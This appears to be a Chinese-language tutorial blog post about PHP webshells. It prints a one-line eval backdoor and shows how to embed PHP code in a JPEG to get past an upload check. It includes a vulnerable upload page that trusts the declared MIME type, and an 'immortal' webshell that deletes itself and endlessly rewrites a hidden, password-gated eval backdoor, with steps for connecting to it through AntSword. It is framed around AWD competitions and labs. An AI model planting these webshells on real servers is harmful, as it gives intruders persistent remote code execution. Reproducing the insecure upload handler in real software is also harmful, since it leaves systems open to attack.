常见木马
什么是木马
木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序
php的一句话木马,再网页获取到$_REQUEST['cmd']数据,当成php代码直接执行
<?php
@eval($_REQUEST['cmd']);
?>
图片木马
php上传文件的原理
- 用户提交请求,上传文件
- 服务器接收请求,将文件存储到临时文件
- php解析该临时文件,获得文件类型,文件大小
- php通过判断文件类型,进行移动临时文件到上传目录
- php给前端返回上传成功,并返回地址
那么php是如何解析临时文件的呢?
其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9
通过读取文件的字节并转为16进制,即可知道该文件类型是什么:
function fileToHex($file){
if(file_exists($file)){
$data = file_get_contents($file);
return bin2hex($data);
}
return '';
}
echo fileToHex('文件路径');
输出:
很明显为jpg格式
那么,我们如果不改变文件头,而是在中间加入一串php代码,php是怎么识别类型的呢?
$path = 'D:\Work\image.jpg';
file_put_contents($path,file_get_contents('D:\Work\1.php'),FILE_APPEND);//1.php为phpinfo,实际操作时为木马文件
将图片图片使用记事本打开,可以看到上传的php代码
查看图片发现文件没有损坏
通过上传文件,发现php识别的也是jpg
测试网页代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post" name="uploadfile">上传文件:<input type="file" name="upfile"/><br/>
<input type="submit" value="上传"/>
</form>
<?php
if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
//获取数组里面的值
$name=$upfile["name"];//上传文件的文件名
$type=$upfile["type"];//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
//判断是否为图片
switch($type){
case 'image/pjpeg':$okType=true;
break;
case 'image/jpeg':$okType=true;
break;
case 'image/gif':$okType=true;
break;
case 'image/png':$okType=true;
break;
}
if($okType){
/**
*0:文件上传成功
*1:超过了文件大小,在php.ini文件中设置
*2:超过了文件的大小MAX_FILE_SIZE选项指定的值
*3:文件只有部分被上传
*4:没有文件被上传
*5:上传文件大小为0
*/
$error=$upfile["error"];
echo "=======================<br/>";
echo "上传文件名称是:".$name."<br/>";
echo "上传文件类型是:".$type."<br/>";
echo "上传文件大小是:".$size."<br/>";
echo "上传后系统返回的值是:".$error."<br/>";
echo "上传文件的临时存放路径是:".$tmp_name."<br/>";
echo "开始移动上传文件<br/>";
//判断up文件夹是否存在,不存在则创建
$dir='up/';
if(!is_dir($dir)){
mkdir($dir);
}
//把上传的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'up/'.$name);
$destination="up/".$name;
echo "=======================<br/>";
echo "上传信息:<br/>";
if($error==0){
echo "文件上传成功啦!";
echo "<br/>图片预览<br/>";
echo "<img src=".$destination;
echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">";
}else if($error==1){
echo "超过了文件的大小,在php.ini文件中设置";
}else if($error==2){
echo "超过了文件的大小MAX_FILE_SIZE选项中设置";
}else if($error==3){
echo "文件只有部分被上传";
}else if($error==4){
echo "文件没有被上传";
}else{
echo "上传文件大小为0";
}
}else{
echo "请上传jpg,gif,png等格式的图片";
}
}
?>
</body>
将图片后缀改为.php进行运行查看解析情况
明显正常运行了插入的php代码,将<?php ?>标签之外的字符当成了正常字符输出,只运行了php部分
以upload-labs为例
上传图片马,使用BP抓包进行后缀修改以便让服务器将上传的文件进行php解析
在服务器返回的响应包中看到成功上传文件
在浏览器中访问该路径即可
不死马
什么是不死马
顾名思义就是不死,不死马广泛应用与AWD中或者其他的维持权限的手法中,不死马就是一句话木马的升级版本,一句话木马和不死马相比较起来,安全性做的很好
不死马原型
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.ZYGS.php';
$code = '<?php if(md5($_GET["cmd"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmd"]);}?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
//(e10adc3949ba59abbe56e057f20f883e == 123456)
解析
ignore_user_abort(true); //设置与远程客户端断开后是否继续执行脚本,true即不断开
set_time_limit(0); //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__); //删除文件本身
$file = '.ZYGS.php'; //文件名是.ZYGS.php
$code = <?php ?>; //php代码
file_get_contents(file,code); //打开file文件,然后写入code
usleep(5000); //每隔usleep(5000)写入一个新文件
unlink就是为了删除传入的不死马文件,避免一些不必要的信息泄露出去,$file中可以规定你要不断生成的文件名,usleep(time)是生成木马的时间,这也是不死马的灵魂之一,通过不断生成文件在当前目录下,形成了不死马,不死马是一个进程,所以往往要重启主机或重启服务才能kill掉,当然,也可以条件竞争
<?php if(md5($_GET["cmd"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmd"]);}?>
通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST['cmd']),这也是整个不死马中的灵魂
使用方法
将不死马上传到服务器,访问上传后的路径,此时已经开始生成不死马.ZYGS.php了,并且传入的.zygs.php已经被unlink删除
此时使用蚁剑进行连接:http://......./../.zygs.php?cmd=123456 连接密码为:cmd
Comments NOTHING